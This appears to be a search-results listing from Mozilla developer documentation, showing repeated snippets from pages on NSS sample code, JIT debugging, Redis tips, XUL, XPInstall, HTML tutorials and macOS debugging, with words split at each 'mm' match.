mmands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in he...
... "-r <csr>"); fprintf(stderr, "%-30s - generate a self-signed cert [optional]\n\n", "-x"); fprintf(stderr, "%-30s - to enable ascii [optional]\n\n", "-a"); fprintf(stderr, "%-30s - to save certificate to header file as sig verification [optional]\n\n", "-v"); exit(-1); } /* * validate the options used for generate csr co
mmand */ static void validategeneratecsrco
mmand(const char *progname, const char *dbdir, certname *subject, const char *subjectstr, const char *certreqfilename) { prbool validationfailed = pr_false; if (!subject) { pr_fprintf(pr_stderr, "%s -g -d %s -s: improperly...
...And 21 more matches
Hacking Tips
f2640, data=...) at js/src/jit/baselinejit.cpp:150 note, when you enable the unwinder, the current version of gdb (7.10.1) does not flush the backtrace. therefore, the jit frames do not appear until you settle on the next breakpoint. ...
...t frames do not appear until you settle on the next breakpoint. ...
... setting a breakpoint in the generated code (from gdb, x86 / x86-64, arm) to set a breakpoint the generated code of a specific jsscript compiled with ionmonkey. set a breakpoint on the instruction you are interested in. ...
...And 21 more matches
Redis Tips
the ice cream is, or what sets it apart from other kinds of food that aren't made from whale meat but that are also very unlike ice cream -- it just gives the whaling industry a way to lump together people who don't use their products. ...
...n thinking about redis as a database with some kind of non-existent relationship to sql, think of it as a data structure server with a rich set of co
mmands for querying and manipulating those data structures over a network connection. redis data types include: strings hashes lists sets ordered sets (called zsets in redis) transactions publishers and subscribers this table lists some co
mmon progra
mming tasks and data structures, and suggests some redis functions or data structures for them: dictionary lookup set, get, setnx, etc. counters set, incr, incrby list manipulation lpush, rpush, lpop, rpop, llen, linsert, lindex, etc. event logging lists, zsets, pubsub queues lists (rpush, blpop, blpoprpush, etc.) prior...
...tstrings state hashes heartbeats zsets hit counters zsets message broadcast pubsub search reverse indexes (never use keys in production) documentation redis has fantastic documentation. yet redis is so easy to learn and use that you'll seldom feel you need to consult it. there are three reasons to look at the docs for every co
mmand you use. time complexity - each co
mmand's complexity is given in big-o notation. this is i
mmensely helpful. related co
mmands - an ever-growing list of related co
mmands is given on the right-hand side of the page. recipes - at the bottom of many pages is a section that gives usage patterns or recipes for the co
mmand under discussion. there are many insightful ideas to be found here. ge...
...And 21 more matches
cfx - Archive of obsolete content
cfx is no longer supported as of firefox 44 and no longer accepted for add-on submission. jpm should now be used instead. for information on how to migrate from cfx to jpm see this guide. enables you to test, run, and package add-ons. cfx is is no longer supported as of firefox 44 and no longer accepted for add-on submission, jpm should now be used instead. ...
...s no longer supported as of firefox 44 and no longer accepted for add-on submission. jpm should now be used instead. for information on how to migrate from cfx to jpm see this guide. enables you to test, run, and package add-ons. cfx is is no longer supported as of firefox 44 and no longer accepted for add-on submission, jpm should now be used instead. ...
...ow be used instead. for information on how to migrate from cfx to jpm see this guide. enables you to test, run, and package add-ons. cfx is is no longer supported as of firefox 44 and no longer accepted for add-on submission, jpm should now be used instead. cfx usage is: cfx [options] co
mmand [co
mmand-specific options] "options" are global options applicable to the tool itself or to all co
mmands (for example --help). cfx supports the following global options: -h, --help - show a help message and exit -v, --verbose - enable lots of output "co
mmand-specific options" are documented alongside the co
mmands. there are four supported cfx co
mmands: cfx init create a skeleton add-on as a starting point for your own add-on. cfx run launch an instance...
...And 20 more matches
Install script template - Archive of obsolete content
es to current browser block var pluginsfolder = getfolder("plugins"); //verify disk space if(verifydiskspace(pluginsfolder, plugin_size+component_size)) { // start installing plugin shared library reseterror(); // install the plugin shared library to the current browser's plugin directory errblock1 = addfile (plid, version, plugin_file, pluginsfolder, null); if (errblock1!=0) { logco
mment("could not add " + plugin_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } // start installing xpt file if this is a scriptable plugin // install to the plugins directory -- this works well in mozilla 1.0 clients // in mozilla 1.0 clients, the components directory can be avoided for xpt files errblock1 = addfile (plid, version, component_file, pluginsfold...
...o " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } // start installing xpt file if this is a scriptable plugin // install to the plugins directory -- this works well in mozilla 1.0 clients // in mozilla 1.0 clients, the components directory can be avoided for xpt files errblock1 = addfile (plid, version, component_file, pluginsfolder, null); if (errblock1!=0) { logco
mment("could not add " + component_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } } else { logco
mment("cancelling current browser install due to lack of space..."); cancellinstall(); } // secondary install block, which sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall bl...
...sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall block, in which error conditions from previous blocks are checked. ...
...And 20 more matches
Server-side web frameworks - Learn web development
with this knowledge under our belt, it's time to explore how web frameworks can simplify these tasks, and give you an idea of how you'd choose a framework for your first server-side web application. prerequisites: basic computer literacy. basic understanding of how server-side code handles and responds to http requests (see client-server overview). ...
...ints using code fragments taken from real web frameworks. don't be concerned if it doesn't all make sense now; we'll be working you through the code in our framework-specific modules. overview server-side web frameworks (a.k.a. "web application frameworks") are software frameworks that make it easier to write, maintain and scale web applications. they provide tools and libraries that simplify co
mmon web development tasks, including routing urls to appropriate handlers, interacting with databases, supporting sessions and user authorization, formatting output (e.g. html, json, xml), and improving security against web attacks. the next section provides a bit more detail about how web frameworks can ease web application development. we then explain some of the criteria you can use for choosin...
...tting output (e.g. html, json, xml), and improving security against web attacks. the next section provides a bit more detail about how web frameworks can ease web application development. we then explain some of the criteria you can use for choosing a web framework, and then list some of your options. what can a web framework do for you? web frameworks provide tools and libraries to simplify co
mmon web development operations. you don't have to use a server-side web framework, but it is strongly advised — it will make your life a lot easier. this section discusses some of the functionality that is often provided by web frameworks (not every framework will necessarily provide all of these features!). work directly with http requests and responses as we saw in the last article, web serv...
...And 20 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
(ns4) elm = document.layers["myid"]; else if (ie4) elm = document.all["myid"] the above code isn't extensible, so if you want it to support a new browser, you must update these blocks throughout the web application. the easiest way to eliminate the need to recode for a new browser is to abstract out functionality. rather than multiple if() else() blocks, you increase efficiency by taking co
mmon tasks and abstracting them out into their own functions. not only does this make the code easier to read, it simplifies adding support for new clients: var elm = getelmbyid("myid"); function getelmbyid(aid){ var element = null; if (ismozilla || isie5) element = document.getelementbyid(aid); else if (isnetscape4) element = document.layers[aid]; else if (isie4) element = do...
...iv> elements. the w3c dom level 1 method gets references to all elements with the same tag name through getelementsbytagname(). the method returns an array in javascript, and can be called on the document element or other nodes to search only their subtree. to get an array of all elements in the dom tree, you can use getelementsbytagname("*"). the dom level 1 methods, as shown in table 1, are co
mmonly used to move an element to a certain position and toggle its visibility (menus, animations). netscape 4 used the <layer> tag, which mozilla does not support, as an html element that can be positioned anywhere. in mozilla, you can position any element using the <div> tag, which internet explorer uses as well and which you'll find in the html specification. table 1. methods used to access el...
... ) returns the value for the specified attribute. hasattribute( aattributename ) returns a boolean stating if the current node has an attribute defined with the specified name. haschildnodes() returns a boolean stating whether the current node has any child nodes. lastchild returns the last child node of the element. nextsibling returns the node i
mmediately following the current one. nodename returns the name of the current node as a string. nodetype returns the type of the current node. value description 1 element node 2 attribute node 3 text node 4 cdata section node ...
...And 19 more matches
An overview of NSS Internals
a high-level overview to the internals of network security services (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). nss is a library written in the c progra
mming language. ...
... nss offers lots of functionality; we'll walk through the list of modules, design principles, and important relevant standards. ...
... language. it's free and open source software, and many other software projects have decided to use it. in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application progra
mming interfaces (apis) for os specific apis like file system access, memory management, network co
mmunication, and multithreaded progra
mming. nss offers lots of functionality; we'll walk through the list of modules, design principles, and important relevant standards. in order to allow interoperability between software and devices that perform cryptographic operations, nss conforms to a standard called pkcs#11. (note that it's important to look at the number 11, as there are other pkcs sta...
...And 19 more matches
sample2
rror_base + 0, sec_error_token_not_logged_in = (sec_error_base + 155), sec_error_end_of_list } secerrorcodes; #endif /* port_errortostring introduced in nss 3.13. on earlier versions of nss that * don't support error tables, pr_errortostring will return "unknown code". ...
...port_errortostring introduced in nss 3.13. on earlier versions of nss that * don't support error tables, pr_errortostring will return "unknown code". ...
...s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "co
mmands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <...
...And 19 more matches
HTML documentation index - HTML: Hypertext Markup Language
it defines the meaning and structure of web content. other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascript). ...
...html date, element, format, html, iso 8601, input, reference, string, time, week, datetime, datetime-local, del, ins, month, month-year, week-year certain html elements use date and/or time values. the formats of the strings that specify these values are described in this article. 7 global attributes attribute, html, reference, web global attributes are attributes co
mmon to all html elements; they can be used on all elements, though they may have no effect on some elements. 8 accesskey global attributes, html, reference, accesskey the accesskey global attribute provides a hint for generating a keyboard shortcut for the current element. the attribute value must consist of a single printable character (which includes accented and other charac...
...s that slot attribute's value. 29 spellcheck global attributes, html, reference the spellcheck global attribute is an enumerated attribute defines whether the element may be checked for spelling errors. 30 style global attributes, html, reference the style global attribute contains css styling declarations to be applied to the element. note that it is reco
mmended for styles to be defined in a separate file or files. this attribute and the <style> element have mainly the purpose of allowing for quick styling, for example for testing purposes. 31 tabindex global attributes, html, reference the tabindex global attribute indicates that its element can be focused, and where it participates in sequential keyboard navigation (usually wi...
...And 19 more matches
JXON - Archive of obsolete content
argument), documentfragment (only as function argument), element, text (never as function argument), cdatasection (never as function argument), attr (never as function argument). this is a good and standardized compromise for a javascript usage, since all of the information of an xml document is contained in these node types. all other information (like processing instructions, schemas, co
mments, etc.) will be lost. this type of algorithm is still considered lossless, since what is lost is meta-information and not information. in order to avoid conflicts, the representation of nodes and attributes names is case insensitive (always rendered in lower case), so objects' local property names set using javascript must always have some kind of capitalization (that is, at least one capital...
...rlen < oxmlparent.attributes.length; nattrlen++) { oattrib = oxmlparent.attributes.item(nattrlen); this.keyattributes[oattrib.name.tolowercase()] = parsetext(oattrib.value.trim()); } } /* * optional properties... this.keylength = nlength; this.attributeslength = nattrlen; // this.domnode = oxmlparent; */ /* object.freeze(this); */ } /* * optional methods... ...
... with this algorithm our example becomes: { "catalog": { "p...
...And 18 more matches
Venkman Introduction - Archive of obsolete content
warning: the content of this article may be out of date. a powerful new tool is available for web developers for use in many mozilla-based products, including firefox, mozilla suite and netscape 7.x. the javascript debugger, also called venkman, has been a part of the mozilla browser and the co
mmunity of web and script developers there for some time. this article provides an overview and some practical examples of using the javascript debugger in web applications and web page scripting. this introduction is the first in a series of articles on venkman and javascript debugging. even if you are already using venkman, the features, procedures, and tips described here will make you a more confident web developer and debugger. venkman is both a graphic and a console debugger. fea...
... of articles on venkman and javascript debugging. even if you are already using venkman, the features, procedures, and tips described here will make you a more confident web developer and debugger. venkman is both a graphic and a console debugger. features such as breakpoint management, call stack inspection, and variable/object inspection are available from the user interface and from console co
mmands, letting you work in the way you are most accustomed to. the interactive console also allows for execution of arbitrary javascript code. venkman's keyboard shortcuts are the same as leading visual debugging environments, and gdb users should be familiar with venkman's /break, /step, /next, /finish, /frame, and /where co
mmands. on windows, the javascript debugger compares favorably with visua...
...an you have, type /version in the interactive session view. for more information about the latest improvements and versions, see the venkman development page. there are two ways to start the debugger: from firefox, you can start it by selecting javascript debugger from the tools menu (tools->web development menu in mozilla 1.x and netscape). you can also start the browser with the -venkman co
mmand line option, which launches venkman initially instead of an application front end. (note that venkman displays usage data when it starts up: "recorded local startup x, global yyy." this data comes from a counter built in to the application. for more information about this counter and the data, see item 2.2 in the venkman faq.) when you first start venkman, the basic views are arranged as ...
...And 18 more matches
XUL Events - Archive of obsolete content
adcast event is executed when the attributes of the element (such as a broadcaster) being listened to are changed. ...
...t is executed when the attributes of the element (such as a broadcaster) being listened to are changed. ...
...as a broadcaster) being listened to are changed. ...
...And 18 more matches
Organizing your CSS - Learn web development
o help improve maintainability. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn some tips and best practices for organizing stylesheets, and find out about some of the naming conventions and tools in co
mmon usage to help with css organization and team working. tips to keep your css tidy here are some general suggestions for ways to keep your stylesheets organised and tidy. does your project have a coding style guide? if you are working with a team on an existing project, the first thing to check is whether the project has an existing style guide for css. the team style guide should alway...
...ules onto a single line, like so: .box { background-color: #567895; } h2 { background-color: black; color: white; } other developers prefer to break everything onto a new line: .box { background-color: #567895; } h2 { background-color: black; color: white; } css doesn't mind which one you use. we personally find it is more readable to have each property and value pair on a new line. ...
...like so: .box { background-color: #567895; } h2 { background-color: black; color: white; } other developers prefer to break everything onto a new line: .box { background-color: #567895; } h2 { background-color: black; color: white; } css doesn't mind which one you use. we personally find it is more readable to have each property and value pair on a new line. ...
...And 18 more matches
Introduction to the server side - Learn web development
overview: first steps next welcome to the mdn beginner's server-side progra
mming course! in this first article, we look at server-side progra
mming from a high level, answering questions such as "what is it?", "how does it differ from client-side progra
mming?", and "why it is so useful?". after reading this article you'll understand the additional power available to websites through server-side coding. prerequisites: basic computer literacy. a basic understanding of what a web server is. objective: to gain familiarity with what server-side progra
mming is, what it can do, and how it differs from client-side progra
mming. most large-scale websites use server-side code to dynamically display different data when needed, generally pulled out of a database st...
...eferences and information — for example reusing stored credit card details to streamline subsequent payments. it can even allow interaction with users of the site, sending notifications and updates via email or through other channels. all of these capabilities enable much deeper engagement with users. in the modern world of web development, learning about server-side development is highly reco
mmended. what is server-side website progra
mming? web browsers co
mmunicate with web servers using the hypertext transfer protocol (http). when you click a link on a web page, submit a form, or run a search, an http request is sent from your browser to the target server. the request includes a url identifying the affected resource, a method that defines the required action (for example to get, del...
...y of storing large amounts of content than using static websites). a dynamic site can return different data for a url based on information provided by the user or stored preferences and can perform other operations as part of returning a response (e.g. sending notifications). most of the code to support a dynamic website must run on the server. creating this code is known as "server-side progra
mming" (or sometimes "back-end scripting"). the diagram below shows a simple architecture for a dynamic website. as in the previous diagram, browsers send http requests to the server, then the server processes the requests and returns appropriate http responses. requests for static resources are handled in the same way as for static sites (static resources are any files that don't change —typica...
...And 18 more matches
Localizing with Koala
project by going to file > new > new project from template... choose "koala" in the categories list. choose "koala" in the templates list. choose a name for your project (e.g. l10n.kpf). choose the directory in which the project will live in (e.g. c:\mozilla\l10n on windows, /home/user/mozilla/l10n on linux or /users/user/mozilla/l10n on mac os x). due to a bug in koala (bug 21930), it is reco
mmended that you don't choose a path that contains spaces (like c:\documents and settings\user\...). click "open" to create the project. koala will check for mercurial. make sure that your mercurial installation is in your system's $path. setup wizard will open. configure the application choose "firefox" as the application. version: 3.6. appname: browser. included locale: en-us (this is the o...
...illa-1.9.2. branch: default. revision: leave empty. click "ok". koala will now try to clone the en-us source repository from http://hg.mozilla.org/releases/mozilla-1.9.2. it's almost 1 gb worth of download, so it may take a while. click "ok". on windows, if koala doesn't clone the repositories, you'll need to do it manually. ...
...http://bitbucket.org/mozillal10n/x-testing or http://hg.mozilla.org/releases/l10n-....9.2/x-testing. new localizations: url: if you already have a repository set up by l10n-drivers (on bitbucke...
...And 18 more matches
nsIMsgDatabase
the nsimsgdatabase interface is an abstract interface used to access the mail database backend. mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a su
mmary to this article. ...
...ccess the mail database backend. mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a su
mmary to this article. ...
...atabase backend. mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a su
mmary to this article. ...
...And 18 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
obsolete this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. draft this page is not complete. « previousnext » this document was authored by taiga (gomita) gomibuchi and was originally published in japanese for the firefox developers conference su
mmer 2007. gomita-san won "most useful upgraded extension" award in mozilla's 2006 "extend firefox" competition for scrapbook, and was runner-up in the "extend firefox 2" contest for firegestures. the chapters so far have each focused on technologies in isolation—xul, javascript, css, and xpcom. in this chapter, we’ll discuss how to put them together to actually build an extension. an easier method of building a firefox/t...
...ut them together to actually build an extension. an easier method of building a firefox/thunderbird addon for developers who are well-acquainted with ides like netbeans, eclipse, etc. is to use netbeans (ide from sun microsystems) and foxbeans (plugin for netbeans, by teesoft). setting up your development environment in order to develop (and test) extensions in a most convenient way it is reco
mmended to apply some changes to firefox. in the following you will find a brief description how to do so; a more detailed one can be found under setting up an extension development environment. create a development profile if you want to partition your everyday browsing environment from your development environment in firefox, set up a second profile for development. to create this dev profile st...
...e start firefox with firefox.exe -no-remote -p dev on the first start the profile manager will appear, where you can create the dev profile and configure its home-path. change your preferences for more efficient development before you get to work developing your extension, you’ll want to change some of your firefox preferences. this isn’t a requirement for extension development, but i reco
mmend it as a way to work more efficiently. preference description value nglayout.debug.disable_xul_cache (not present in firefox 3.5+) ordinarily, firefox will cache xul documents after they have been read in once, to speed subsequent displays. disabling this cache forces xul documents to be reloaded any every time they are displayed. true b...
...And 17 more matches
nsIDOMNSHTMLDocument
dom/interfaces/html/nsidomnshtmldocument.idlscriptable this interface defines methods and properties supported by gecko on the document object that are not part of dom level 2. ...
...tml/nsidomnshtmldocument.idlscriptable this interface defines methods and properties supported by gecko on the document object that are not part of dom level 2. ...
...d properties supported by gecko on the document object that are not part of dom level 2. ...
...And 17 more matches
All keyboard shortcuts - Firefox Developer Tools
ol. because access keys are locale-dependent, they're not documented in this page. opening and closing tools these shortcuts work in the main browser window to open the specified tool. the same shortcuts will work to close tools hosted in the toolbox, if the tool is active. for tools like the browser console that open in a new window, you have to close the window to close the tool. ...
...ft + f4 shift + f4 * shift + f4 open webide shift + f8 shift + f8 * shift + f8 storage inspector shift + f9 shift + f9 * shift + f9 open debugger 3 ctrl + shift + z cmd + opt + z ctrl + shift + z 1. unlike the other toolbox-hosted tools, this shortcut does not also close the web console. ...
... co
mmand line. to close the web console, use the global toolbox shortcut of ctrl + shift + i (cmd + opt + i on a mac). 2. before firefox 55, the keyboard shortcut was ctrl + shift + q (cmd + opt + q on a mac). 3. starting in firefox 71. before firefox 66, the letter in this shortcut was s. toolbox these shortcuts work whenever the toolbox is open, no matter which tool is active. co
mmand windows macos linux cycle through tools left to right ctrl + ] cmd + ] ctrl + ] cycle through tools right to left ctrl + [ cmd + [ ctrl + [ toggle between active tool and settings. f1 f1 f1 toggle toolbox between the last 2 docking modes ctrl + shift + d cmd + shift + d ctrl + shift + d toggle sp...
...And 17 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
shimoda-san is a co-author of firefox 3 hacks (o'reilly japan, 2008). before you learn how to develop extensions, let's learn about xul, the xml-based user-interface language, which is one of the building blocks for extensions. ...
...d3"/> </vbox> <button label="mixed4"/> </hbox> listing 3: horizontal and vertical boxes figure 1: output of listing 3 there is also a grid element, which can be used for layouts similar to those achieved using the html table element, a stack element for layering other elements, and so on. all on-screen widgets are laid out using these boxes, making complex interface designs possible. co
mmon attributes before we look at the various interface objects, let's look at some of their co
mmon attributes, especially the frequently used ones. id and class the attributes id and class fill the same role that the xhtml attributes of the same names fill. id is used to define a unique name for an element, and class is used to classify elements; both of these provide convenient ways to refer to...
...ft and the cancel button on the right, while mac os x has the opposite layout. this is what firefox itself uses for bookmark properties and other dialogs. buttons used in dialog windows a dialog element will display some number of buttons at its bottom. as shown in table 1, there are four types of buttons that can be displayed, and you can set the names of the buttons you want to display as a co
mma-delimited list in the value of the buttons attribute. fixme: make the table cleaner button name description accept the ok button. cancel the cancel button. help the help button. disclosure either a disclosure triangle or a button. this is used to allow the user to toggle the display of additional information. table 1: types of...
...And 16 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
the installation. this includes instructions on where to install the software, and what messages to feed to the user. you can create an xpinstall file by first zipping all the items you want installed with winzip (create a zip archive) and then renaming it with the xpi file extension instead of the zip file extension. unlike native code installers (for example, files called setup.exe), the progra
mming language for install operations in xpi is javascript. since the file format that contains the software and the install.js javascript file is a cross-platform file (zip) and since javascript is understood by mozilla browsers on all platforms, often one single xpi package can be deployed on all platforms. this is, in fact, how skins and themes are installed to mozilla browsers, changing their lo...
...his includes: recent netscape browsers such as netscape 6.2.x and netscape 7.0, which are both based on netscape gecko, which is at the core of the mozilla browser recent beta-only versions of the aol software based on netscape gecko, the layout engine of the mozilla project. caveats: aol time warner's compuserve browser, also based on netscape gecko, does not support xpinstall. netscape co
mmunicator 4.x does not support xpinstall. what does a plugin consist of? plugins can consist of the following types of files, all of which can be installed via an xpi package: shared libraries (i.e. on windows, these are dlls, on unix these are *.so files). these files are native code files made with the netscape plugin api. if the plugin is scriptable, then it will also consist of an xpt fil...
...ndows consists of a plugin dll, but also the realplayer application (exe) which the plugin dll is a subset of. in this case, the plugin is the part of the software package that is browser-specific, as a mechanism to give the application additional "hooks" into the browser. xpinstall can be used to install any combination of these files on an end-user's machine. ...
...And 16 more matches
Keyboard Shortcuts - Archive of obsolete content
creating a keyboard shortcut xul provides methods in which you can define keyboard shortcuts. we've already seen in the section on menus that we can define an attribute called accesskey which specifies the key which a user can press to activate the menu or menu item. ...
...u or menu item. in the example below, the file menu can be selected by pressing alt + f together (or some other key combination for a specific platform). once the file menu is open, the close menu item can be selected by pressing c. example 1 : source view <menubar id="sample-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem id="close-co
mmand" label="close" accesskey="c"/> </menupopup> </menu> </menubar> you can also use the accesskey attribute on buttons. when the key is pressed in this case, the button is selected. you might want to set up more general keyboard shortcuts however. for example, pressing ctrl + c to copy text to the clipboard. although shortcuts such as this might not always be valid, they will usually work...
...any character for this attribute to require that key to be pressed. the modifiers that must be pressed are indicated with the modifiers attribute. it is a space-separated list of modifier keys, which are listed below. alt the user must press the alt key. on the macintosh, this is the option key. control the user must press the ctrl key. meta the user must press the meta key. this is the co
mmand key on the macintosh. shift the user must press the shift key. os the user must press the win key. this is the super key or the hyper key on linux. if this value is used, typically the key combination conflicts with system wide shortcut keys. so, you shouldn't use this value as far as possible. accel the user must press the special accelerator key. the key used for keyboard shortcuts on...
...And 16 more matches
Gecko Compatibility Handbook - Archive of obsolete content
rt of the mozilla open source project and based on w3 standards rather than the proprietary approaches of the past. adhering to web standards simplifies cross-browser web development and enables accessibility. 4.x vs. gecko since 1997, much of the web's content has been developed for microsoft internet explorer 4 or netscape navigator 4. these browsers were developed before the relevant w3c reco
mmendations for html, css, and the dom existed. these earlier, non-standards based browsers differed in several ways from gecko: these browsers use proprietary (non-standard) html, css, and javascript. internet explorer 4 and netscape navigator 4 share support for a large part of the html 3.2 standard and basic javascript. while they support the css 1 standard to some degree, the implementatio...
... by clicking tools | user agent switcher |the name you have chosen. you can verify the string got changed by looking under help | about. you can find the user agent strings of many gecko-based browsers here. if possible, also download the actual clients (netscape, aol, compuserve) for testing. review your results the following scenarios all relate to browser detection. for more solutions to co
mmon problems please continue reading this handbook. problem: site supports standards but does not look right try picking the internet explorer 6 user-agent string. if this works, set up your detection to serve ie 6 content to visitors with gecko in their user-agent strings. ie 6.x is actually more similar to gecko browsers than netscape 4.x is to gecko, due to increased support of w3c standards. ...
...a quick tutorial on what's different in gecko. aol or compuserve problems even if your site works on netscape 7.x, it is important to test your site in aol for macos and compuserve 7 to check for browser detection and network issues. testing aol from within a firewall if you need to connect to aol via a corporate firewall, america online has registered tcp/ip ports 5190 and 11523 so you can co
mmunicate with the aol client software. this way you can test your site on the aol client from behind your firewall, provided that your network administrators will open these ports. you need to be connected to the internet to test your site on aol; it isn't possible to access your site on a local machine via your lan, without an internet connection. see webmaster@aol for further information. solut...
...And 16 more matches
Introduction to SSL - Archive of obsolete content
some red hat products already support tls. most other red hat products plan to support the protocol in future versions. ...
...some red hat products already support tls. most other red hat products plan to support the protocol in future versions. ...
... red hat products already support tls. most other red hat products plan to support the protocol in future versions. this document is primarily intended for administrators of red hat server products, but the information it contains may also be useful for developers of applications that support ssl. the document assumes that you are familiar with the basic concepts of public-key cryptography, as su
mmarized in "introduction to public-key cryptography." the ssl protocol the transmission control protocol/internet protocol (tcp/ip) governs the transport and routing of data over the internet. other protocols, such as the hypertext transport protocol (http), lightweight directory access protocol (ldap), or internet messaging access protocol (imap), run "on top of" tcp/ip in the sense that they al...
...And 16 more matches
HTML text fundamentals - Learn web development
e per page, unless you feel it is necessary. documents with many levels (i.e., a deep heading hierarchy) become unwieldy and difficult to navigate. on such occasions, it is advisable to spread the content over multiple pages if possible. why do we need structure? to answer this question, let's take a look at text-start.html—the starting point of our running example for this article (a nice hu
mmus recipe). you should save a copy of this file on your local machine, as you'll need it for the exercises later on. this document's body currently contains multiple pieces of content—they aren't marked up in any way, but they are separated with linebreaks (enter/return pressed to go onto the next line). however, when you open the document in your browser, you'll see that the text appears as a ...
...directions you subconsciously follow to get to your house every day, to the lists of instructions you are following in these tutorials! lists are everywhere on the web, too, and we've got three different types to worry about. unordered unordered lists are used to mark up lists of items for which the order of the items doesn't matter—let's take a shopping list as an example. ...
...se tutorials! lists are everywhere on the web, too, and we've got three different types to worry about. unordered unordered lists are used to mark up lists of items for which the order of the items doesn't matter—let's take a shopping list as an example. milk eggs bread hu
mmus every unordered list starts off with a <ul> element—this wraps around all the list items: <ul> milk eggs bread hu
mmus </ul> the last step is to wrap each list item in a <li> (list item) element: <ul> <li>milk</li> <li>eggs</li> <li>bread</li> <li>hu
mmus</li> </ul> active learning: marking up an unordered list try editing the live sample below to create your very own html unordered list. playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</...
...And 16 more matches
Debugging on Mac OS X
to enable notarization are planned. as a result, it is not possible to attach a debugger to these official firefox releases on macos 10.14+ without disabling system integrity protection (sip). this is due to notarization requiring hardened runtime to be enabled with the com.apple.security.get-task-allow entitlement disallowed. rather than disabling sip (which has security implications), it is reco
mmended to debug with try builds or local builds. the differences are explained below. try server builds in most cases, developers needing to debug a build as close as possible to the production environment should use a try build. these builds enable hardened runtime and only differ from production builds in that they are not notarized which should not otherwise affect functionality, (other than t...
...sult, some functionality will be permitted on local builds, but blocked on production builds which have hardened runtime enabled. bug 1522409 was filed to automate codesigning local builds to enable hardened runtime by default and eliminate this discrepancy. to obtain a hardened runtime build without using try infrastructure, a developer can manually codesign builds using the macos codesign(1) co
mmand with the developer.entitlements.xml file from the tree. this requires creating a codesigning identity. disabling system integrity protection (sip) if debugging a production build is required, follow apple's documented steps for disabling system integrity protection (sip). note that disabling sip bypasses hardened runtime restrictions which can mask some bugs that only occur with hardened run...
...oper.entitlements.xml file from the tree. this requires creating a codesigning identity. disabling system integrity protection (sip) if debugging a production build is required, follow apple's documented steps for disabling system integrity protection (sip). note that disabling sip bypasses hardened runtime restrictions which can mask some bugs that only occur with hardened runtime so it is reco
mmended to test fixes with sip enabled. disabling sip has system security implications that should be understood before taking this step. creating an xcode project if you try to create a new xcode project in an existing directory then xcode will delete its existing contents (xcode will warn you beforehand). to work around that, the steps below have you initialize the project outside the mozilla s...
...And 16 more matches
NSS Sample Code Sample1
nss sample code 1: key generation and transport between servers. this is an example program that demonstrates how to do key generation and transport between cooperating servers. ...
...ion and transport between cooperating servers. this program shows the following: rsa key pair generation naming rsa key pairs looking up a previously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping sy
mmetric keys using your own rsa key pair so that they can be stored on disk or in a database. as an alternative to token sy
mmetric keys as a way to store large numbers of sy
mmetric keys wrapping sy
mmetric keys using an rsa key from another server unwrapping keys using your own rsa key pair the main part of the program shows a typical sequence of events for two servers that are trying to extablish a shared key pair. we will add message protection (encryption and macing) examples to this ...
...e secret keys that will be used by all participating // hosts. the other hosts (secondary) request keys from the // primary host. as an alternative, new keys may be sent to the // current set of secondary hosts when they are generated by the // primary. in this case, the primary maintains a list of the // secondary hosts. // // the sequence of events is: // 1. the primary host generates a new sy
mmetric key. this key // may be used for an encryption mechanism (des or aes) or for // integrity (md5_hmac or sha1_hmac). this key needs to be // permanent, since it may be used during several runs of the // server. (currently nss doesn't store persistant keys. steps // 1a through 1x show how to do this). // 1a. the primary host generates an rsa keypair that will be used // ...
...And 16 more matches
Index
these pages document thunderbird and the mailnews backend which is also used in other projects such as seamonkey and postbox. 2 account provisioner the account provisioner is the dialog that first comes up when starting thunderbird. the account provisioner gives the user the chance to search for and order a vanity email account from a list of partner providers. if the user already has an email account, the user can switch to the original account setup wizard. ...
...ccount, the user can switch to the original account setup wizard. 3 account examples extensions, thunderbird this article provides examples on accessing and manipulating thunderbird accounts. account interfaces provides an overview of the related interfaces. see an overview of thunderbird components for a general description of the thunderbird user interface and related progra
